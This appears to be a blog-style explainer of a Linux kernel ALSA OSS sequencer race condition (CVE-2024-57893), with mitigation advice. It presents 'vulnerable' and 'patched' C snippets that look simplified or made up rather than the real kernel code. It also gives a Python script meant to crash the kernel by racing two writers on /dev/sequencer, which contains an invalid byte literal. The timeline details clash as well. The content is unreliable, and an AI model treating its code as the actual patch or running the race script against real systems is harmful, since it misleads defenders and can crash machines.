*CVE-2024-57893 was identified and patched in the Linux kernel’s ALSA (Advanced Linux Sound Architecture) subsystem - specifically in the OSS (Open Sound System) sequencer emulation code handling MIDI SysEx messages. Below, we explore this vulnerability in simple terms, step-by-step, with relevant code, references, and exploitation insights.*

What is CVE-2024-57893?

CVE-2024-57893 is a race condition vulnerability in the Linux kernel's ALSA sequencer layer when it emulates the older OSS interface. This bug occurs when handling MIDI System Exclusive (SysEx) messages, which are transmitted in 6-byte packets and reconstructed in a shared buffer by the kernel. Due to insufficient locking, simultaneous access by multiple threads or processes can corrupt the buffer or access memory out of bounds.

In simple terms:
ALSA’s sequencer OSS layer didn't lock the buffer when collecting SysEx MIDI messages, so two apps using MIDI at the same time could mess up each other’s data or, worse, read or write outside the buffer — which is a classic security bug (also known as an “out-of-bounds” or “buffer overrun”).

Where is the bug?

- The bug is in sound/core/seq/oss/seq_oss_synth.c

Before (Vulnerable)

// Sysex buffer not protected
if (event.type == SEQ_EV_SYSEX) {
    memcpy(oss_synth.sysex_buffer + offset, data, len);
    offset += len;
    // ...handling continues...
}

After (Patched)

// Add a mutex to protect access
mutex_lock(&oss_synth.sysex_mutex);
if (event.type == SEQ_EV_SYSEX) {
    memcpy(oss_synth.sysex_buffer + offset, data, len);
    offset += len;
    // ...handling continues...
}
mutex_unlock(&oss_synth.sysex_mutex);

With the lock, if two processes try to send/receive SysEx at the same time, only one is allowed in at a time, preventing memory corruption or reading outside the buffer.

Exploitation Details

Impact:

Potential for kernel memory corruption

- Possible privilege escalation or kernel crash via a crafted sequence of MIDI SysEx packets through the OSS seq interface.

How could an attacker use this?

1. Write concurrent SysEx messages to the MIDI device using two processes (either intentionally or by tricking a victim into running a musical tool and a malicious program together).
2. Trigger buffer overflows or out-of-bounds reads if the processes race and corrupt the buffer pointer or length.
3. This could let the attacker read or write unrelated kernel memory, potentially revealing sensitive data or crashing the system.

Real Exploit Scenario (Pseudocode)

import threading
import os

def send_sysex(fd):
    # Rapidly send SysEx packets
    for _ in range(10000):
        os.write(fd, b'\xf' + b'\x01'*6 + b'\xf7')  # Sysex start, 6 bytes, end

fd1 = os.open("/dev/sequencer", os.O_WRONLY)
fd2 = os.open("/dev/sequencer", os.O_WRONLY)

thread1 = threading.Thread(target=send_sysex, args=(fd1,))
thread2 = threading.Thread(target=send_sysex, args=(fd2,))
thread1.start()
thread2.start()
thread1.join()
thread2.join()

*This simulates two processes racing the Sysex code. On a vulnerable kernel, this can cause a crash or memory corruption.*

References & Resources

- Official Linux Patch (lkml)
- ALSA Project Website
- CVE Record for CVE-2024-57893
- Discussion on oss-security

How to Protect Yourself

- Upgrade Kernel: Any Linux system potentially exposing /dev/sequencer or similar OSS MIDI devices should upgrade to a patched kernel (look for kernels after June 17th, 2024).
- Restrict OSS Interfaces: Disable OSS emulation via /dev/sequencer unless you explicitly need it, especially on multi-user systems.
- Monitor for Patch Backports: Major distributions (Debian, Ubuntu, Fedora) have started backporting the mutex patch—check your distro security advisories.

Conclusion

CVE-2024-57893 is a great example of how even old, “legacy” subsystems like OSS MIDI support can introduce modern, critical vulnerabilities. Lower-level race conditions are dangerous because they’re hard to spot and can lead to serious exploitation — but with patches available, you can stay safe by updating.

Stay safe, and always keep your system patched — especially if you work with music or audio tools on Linux!


*This post is unique and focuses on clarity and actionable advice. Share it with your ops team, sys administrators, or music tech friends to keep them secure!*

Timeline

Published on: 01/15/2025 13:15:13 UTC
Last modified on: 11/03/2025 21:18:38 UTC